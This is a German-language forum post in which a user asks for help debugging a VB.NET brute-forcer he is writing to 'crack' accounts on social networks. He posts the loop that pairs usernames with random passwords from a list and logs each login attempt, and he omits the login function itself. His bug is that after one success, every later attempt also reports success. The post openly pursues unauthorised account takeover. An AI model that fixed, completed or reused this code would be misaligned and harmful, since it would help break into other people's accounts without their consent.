Keine Antworten in diesem Thema

[jabba]

Hallo,

Ich bin gerade bei mir mal an ein Bruteforcer zu trauen der es ermöglicht User  von "Sozialen Netzwerken zu knacken"

 

so an sich funktioniert er schon jedoch hängt meine schleife etwas (vielleicht sollte ich mit  Multi Threading arbeiten?)

 

also Ich versuch mal das Problem zu erläutern:

 

sobald Ich Ein Login habe der True war sagt das programm mir bei den nächsten Logins auch das Sie True sind was aber nicht der fall ist und das obwohl das Passwort für den Login sich bereits gleich nach dem Login ändert also irgentwie hat er ein kleinen loop beim Login , liegt das vielleicht dadrann das ich bisher nur mit normalen Threads Arbeite ??

 

die Login Funktion sende Ich jetzt mal hier nicht aber Sie ist eh Richtig , also hier der aufruf:

  If Website = "hier steht mein ausgewähltes Item" AndAlso Not _noneUser.Checked AndAlso _RandomPass.Checked Then
            dif = 0
            z = 0

            For i As Integer = 0 To PasswordList.Count * _List.Items.Count - 1
               
                If z = PasswordList.Count Then
                    z = 0
                    dif += 1
                End If

/ hier ist mit absicht nix Invoke gesetzt weil der aufruf in ein anderen Async Funtion erfolgt!

                Index = R.Next(0, PasswordList.Count)     /Random ist global deklariert
                Dim User As String = _List.Items(dif).SubItems(1).Text
                Dim password As String = PasswordList(Index)
           
                If Login(User, password) Then
                    _InfoBox.Items.Add(">>>>Login Erfolgreich! User:" & User & " Passwort:" & password)
                    _InfoBox.SetSelected(i, True)
                    _InfoBox.ForeColor = Color.Green
                    z += 1
                Else
                    __InfoBox.Items.Add(">>>>Login Fehler! " & "User:" & User & " Passwort:" & password)
                    _InfoBox.SetSelected(i, True)
                    _InfoBox.ForeColor = Color.Red
                    z += 1
                End If

                Thread.Sleep(1500)

            Next

        End If

end sub

 Public Async Function Start(interval As Integer) As Task(Of Thread)
        Th = New Thread(Sub()
                            Thread.Sleep(interval)
                            me.invoke(sub()StartBot())
                        End Sub)
        Th.IsBackground = True
        Th.Start()
        Return Th
    End Function



Screen ist hier und dort wo der grüne Harken ist sollte nur Login Erfolgreich stehen doch sobald einer True ist werden die nächsten alle True und das obwohl die Login Funktion 100% geht. vielleicht kann ja jemand von euch helfen:

Please Login HERE or Register HERE to see this link!

Bearbeitet von jabba, 18 June 2018 - 17:35 Uhr.